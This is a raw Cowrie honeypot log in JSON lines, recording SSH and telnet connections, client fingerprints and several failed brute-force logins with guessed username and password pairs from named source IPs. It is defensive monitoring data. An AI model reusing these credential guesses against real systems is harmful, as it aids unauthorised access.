{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:08.575134Z","src_ip":"43.165.177.199","session":"6e57e8c1a741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":46274,"dst_ip":"10.17.0.5","dst_port":22,"session":"00be44c61b8b","protocol":"ssh","message":"New connection: 95.240.192.149:46274 (10.17.0.5:22) [session: 00be44c61b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:47.913972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:47.918468Z","src_ip":"95.240.192.149","session":"00be44c61b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:48.031051Z","src_ip":"95.240.192.149","session":"00be44c61b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QAZ@WSX","message":"login attempt [ubuntu/QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:48.509708Z","src_ip":"95.240.192.149","session":"00be44c61b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:49.624957Z","src_ip":"95.240.192.149","session":"00be44c61b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00641226768494,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:54.756200Z","src_ip":"5.198.120.124","session":"de7a30e48791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":60356,"dst_ip":"159.203.135.109","dst_port":23,"session":"112f7df94981","protocol":"telnet","message":"New connection: 5.198.120.124:60356 (159.203.135.109:23) [session: 112f7df94981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:54.946833Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":60390,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cdbdea628d6","protocol":"telnet","message":"New connection: 5.198.120.124:60390 (159.203.135.109:23) [session: 8cdbdea628d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:55.636003Z"}
{"eventid":"cowrie.session.closed","duration":120.00185251235962,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:55.657136Z","src_ip":"5.198.120.124","session":"fa8f70d75e07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":60402,"dst_ip":"159.203.135.109","dst_port":23,"session":"c063efbfb636","protocol":"telnet","message":"New connection: 5.198.120.124:60402 (159.203.135.109:23) [session: c063efbfb636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:36:55.838461Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":48282,"dst_ip":"10.17.0.5","dst_port":22,"session":"60714ed93a23","protocol":"ssh","message":"New connection: 43.165.177.199:48282 (10.17.0.5:22) [session: 60714ed93a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:07.263190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:07.268106Z","src_ip":"43.165.177.199","session":"60714ed93a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:07.453701Z","src_ip":"43.165.177.199","session":"60714ed93a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZXCDE#@WS","message":"login attempt [admin/!QAZXCDE#@WS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:08.228038Z","src_ip":"43.165.177.199","session":"60714ed93a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:09.416706Z","src_ip":"43.165.177.199","session":"60714ed93a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"04bd6aa3eba2","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 04bd6aa3eba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:34.309157Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:34.425154Z","src_ip":"77.90.185.16","session":"04bd6aa3eba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.64","src_port":46088,"dst_ip":"159.203.135.109","dst_port":22,"session":"7adc591d02f6","protocol":"ssh","message":"New connection: 160.119.76.64:46088 (159.203.135.109:22) [session: 7adc591d02f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:43.546414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:43.550663Z","src_ip":"160.119.76.64","session":"7adc591d02f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:43.649766Z","src_ip":"160.119.76.64","session":"7adc591d02f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"","message":"login attempt [scan/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:44.092475Z","src_ip":"160.119.76.64","session":"7adc591d02f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:45.298333Z","src_ip":"160.119.76.64","session":"7adc591d02f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00880265235901,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:54.955487Z","src_ip":"5.198.120.124","session":"112f7df94981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":37341,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a4d9f5986d","protocol":"telnet","message":"New connection: 5.198.120.124:37341 (159.203.135.109:23) [session: 74a4d9f5986d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:55.172450Z"}
{"eventid":"cowrie.session.closed","duration":120.00171232223511,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:55.637622Z","src_ip":"5.198.120.124","session":"8cdbdea628d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":37377,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df372283de6","protocol":"telnet","message":"New connection: 5.198.120.124:37377 (159.203.135.109:23) [session: 0df372283de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:55.817047Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":37383,"dst_ip":"159.203.135.109","dst_port":23,"session":"24ee06450177","protocol":"telnet","message":"New connection: 5.198.120.124:37383 (159.203.135.109:23) [session: 24ee06450177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:55.821313Z"}
{"eventid":"cowrie.session.closed","duration":120.00108408927917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:55.839341Z","src_ip":"5.198.120.124","session":"c063efbfb636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":37404,"dst_ip":"159.203.135.109","dst_port":23,"session":"895a42268ea9","protocol":"telnet","message":"New connection: 5.198.120.124:37404 (159.203.135.109:23) [session: 895a42268ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:38:56.096409Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":47622,"dst_ip":"10.17.0.5","dst_port":22,"session":"903868e2c484","protocol":"ssh","message":"New connection: 43.165.177.199:47622 (10.17.0.5:22) [session: 903868e2c484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:09.171477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:09.180099Z","src_ip":"43.165.177.199","session":"903868e2c484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:09.360574Z","src_ip":"43.165.177.199","session":"903868e2c484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QAZ@WSX","message":"login attempt [ubuntu/QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:10.066857Z","src_ip":"43.165.177.199","session":"903868e2c484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:11.239424Z","src_ip":"43.165.177.199","session":"903868e2c484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01579976081848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:55.188039Z","src_ip":"5.198.120.124","session":"74a4d9f5986d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":42314,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b6d1ee2349a","protocol":"telnet","message":"New connection: 5.198.120.124:42314 (159.203.135.109:23) [session: 0b6d1ee2349a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:55.380648Z"}
{"eventid":"cowrie.session.closed","duration":120.00096535682678,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:55.817853Z","src_ip":"5.198.120.124","session":"0df372283de6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187301635742,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:55.823110Z","src_ip":"5.198.120.124","session":"24ee06450177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":42330,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee55dd5d5a3d","protocol":"telnet","message":"New connection: 5.198.120.124:42330 (159.203.135.109:23) [session: ee55dd5d5a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:56.000951Z"}
{"eventid":"cowrie.session.closed","duration":120.00151109695435,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:56.097589Z","src_ip":"5.198.120.124","session":"895a42268ea9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":42333,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7cb300f9e94","protocol":"telnet","message":"New connection: 5.198.120.124:42333 (159.203.135.109:23) [session: d7cb300f9e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:56.163701Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":42340,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a7a5a55f40b","protocol":"telnet","message":"New connection: 5.198.120.124:42340 (159.203.135.109:23) [session: 5a7a5a55f40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:40:56.390812Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.64","src_port":38492,"dst_ip":"159.203.135.109","dst_port":22,"session":"22859eb1cc44","protocol":"ssh","message":"New connection: 160.119.76.64:38492 (159.203.135.109:22) [session: 22859eb1cc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:41:24.439891Z"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:41:29.440042Z","src_ip":"160.119.76.64","session":"22859eb1cc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":46128,"dst_ip":"10.17.0.5","dst_port":22,"session":"9294a1dca95d","protocol":"ssh","message":"New connection: 43.165.177.199:46128 (10.17.0.5:22) [session: 9294a1dca95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:07.675662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:07.682318Z","src_ip":"43.165.177.199","session":"9294a1dca95d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:07.858389Z","src_ip":"43.165.177.199","session":"9294a1dca95d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin79","message":"login attempt [root/admin79] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:08.579516Z","src_ip":"43.165.177.199","session":"9294a1dca95d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:09.754310Z","src_ip":"43.165.177.199","session":"9294a1dca95d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0166609287262,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:55.397196Z","src_ip":"5.198.120.124","session":"0b6d1ee2349a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00127053260803,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:56.002103Z","src_ip":"5.198.120.124","session":"ee55dd5d5a3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122833251953,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:56.164839Z","src_ip":"5.198.120.124","session":"d7cb300f9e94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":46976,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f741bb31398","protocol":"telnet","message":"New connection: 5.198.120.124:46976 (159.203.135.109:23) [session: 2f741bb31398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:56.203380Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.198.120.124","src_port":46982,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ede57d5f8e9","protocol":"telnet","message":"New connection: 5.198.120.124:46982 (159.203.135.109:23) [session: 7ede57d5f8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:56.361360Z"}
{"eventid":"cowrie.session.closed","duration":120.00126099586487,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:42:56.391966Z","src_ip":"5.198.120.124","session":"5a7a5a55f40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":59280,"dst_ip":"10.17.0.5","dst_port":22,"session":"f83dfa463f0a","protocol":"ssh","message":"New connection: 43.165.177.199:59280 (10.17.0.5:22) [session: f83dfa463f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:05.335250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:44:05.339823Z","src_ip":"43.165.177.199","session":"f83dfa463f0a","protocol":"ssh"}
